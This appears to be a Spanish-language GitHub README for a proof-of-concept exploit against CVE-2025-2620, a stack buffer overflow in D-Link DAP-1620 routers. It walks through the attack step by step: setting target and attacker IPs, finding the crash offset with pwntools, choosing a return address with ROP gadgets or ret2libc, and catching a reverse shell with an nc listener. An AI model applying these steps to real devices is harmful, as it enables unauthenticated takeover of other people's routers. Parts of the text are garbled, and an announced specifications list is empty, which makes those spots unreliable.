
Exploit de prueba de concepto para CVE-2025-2620, un desbordamiento de búfer crítico basado en pila en routers D-Link DAP-1620 que permite ejecución remota de código no autenticada y acceso a shell inversa.
Este repositorio contiene un exploit avanzado de prueba de concepto (PoC) para CVE-2025-2620, una vulnerabilidad crítica de desbordamiento de búfer basado en pila descubierta en el router D-Link DAP-1620 que ejecuta la versión de firmware 1.03. Esta vulnerabilidad permite a atacantes remotos no autenticados bloquear el servidor web del router (Denegación de Servicio, DoS) y potencialmente ejecutar código arbitrario (Ejecución Remota de Código, RCE).
El propósito de este proyecto es demostrar habilidades de desarrollo de exploits.
CVE-2025-2620 afecta a la función mod_graph_auth_uri_handler del router D-Link DAP-1620, específicamente dentro del endpoint /storage. La vulnerabilidad es causada por una comprobación de límites incorrecta, lo que permite a un atacante enviar una entrada grande que excede el tamaño del búfer asignado, provocando un desbordamiento de búfer basado en pila.
La función vulnerable procesa un parámetro de autenticación (auth) de las solicitudes HTTP:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Búfer de pila de tamaño fijo
strcpy(buffer, input); // Sin verificación de longitud, causa desbordamiento
// Procesar autenticación...
}
Un atacante que envíe un payload sobredimensionado (por ejemplo, 1024+ bytes) sobrescribe la memoria adyacente, incluyendo la dirección de retorno de la función, lo que potencialmente lleva a la ejecución de código.
El D-Link DAP-1620 es un extensor de rango Wi-Fi con las siguientes especificaciones:
Otros routers/extensores D-Link con firmware similar también podrían verse afectados.
PoC Combinado – Incluye pruebas de desbordamiento de búfer y exploit RCE.
Prueba de desbordamiento de búfer basado en pila – Identifica routers vulnerables.
Exploit completo de ejecución remota de código (RCE) – Genera una shell inversa.
Tamaño de payload y dirección de retorno configurables – Adaptable para diferentes modelos de router.
Depuración Mejorada – Registra desplazamientos de crash para refinar parámetros del exploit.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Asegúrate de tener Python3 y pwntools instalados:
pip install pwntools
Modifica el script CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # cambia según tu router
ATTACKER_IP = "192.168.0.100" # cambia a tu IP local
ATTACKER_PORT = 4444 # cambia si es necesario
BUFFER_SIZE = 8000 # Aumenta si el router no se bloquea
Modifica el PoC para generar un patrón único y enviarlo:
MODE = "overflow" # Configura a "overflow" para encontrar el desplazamiento
Ejecuta el script:
python3 CVE-2025-2620_poc.py
Después de bloquear el router, verifica la dirección de segfault (EIP en x86 o RA en MIPS) desde:
gdb)dmesg | grep 'segfault'Busca una dirección como 0x61616161 (lo que significa que parte del patrón cíclico sobrescribió el puntero de retorno).
Usa cyclic_find para localizar el desplazamiento exacto:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Reemplaza con la dirección del crash
Esto da el valor exacto de OFFSET. Actualiza tu PoC:
OFFSET = <DESPLAZAMIENTO ENCONTRADO> # Reemplaza con el número real
RET_ADDR)Opción 1: Encontrar un Gadget JMP o CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
Elige una dirección que salte a un registro (por ejemplo, jmp $sp o jmp $ra).
Opción 2: Usar una Dirección ret2libc
Encuentra la dirección de system() en libc:
objdump -D /lib/libc.so.6 | grep "system"
Luego, úsala como RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Reemplaza con la dirección real
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Desarrollado con ❤️ por Otsmane Ahmed
| Métrica | Valor |
|---|
| Vector de Ataque | Red |
| Complejidad de Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Impacto en la Confidencialidad | Alto |
| Impacto en la Integridad | Alto |
| Impacto en la Disponibilidad | Alto |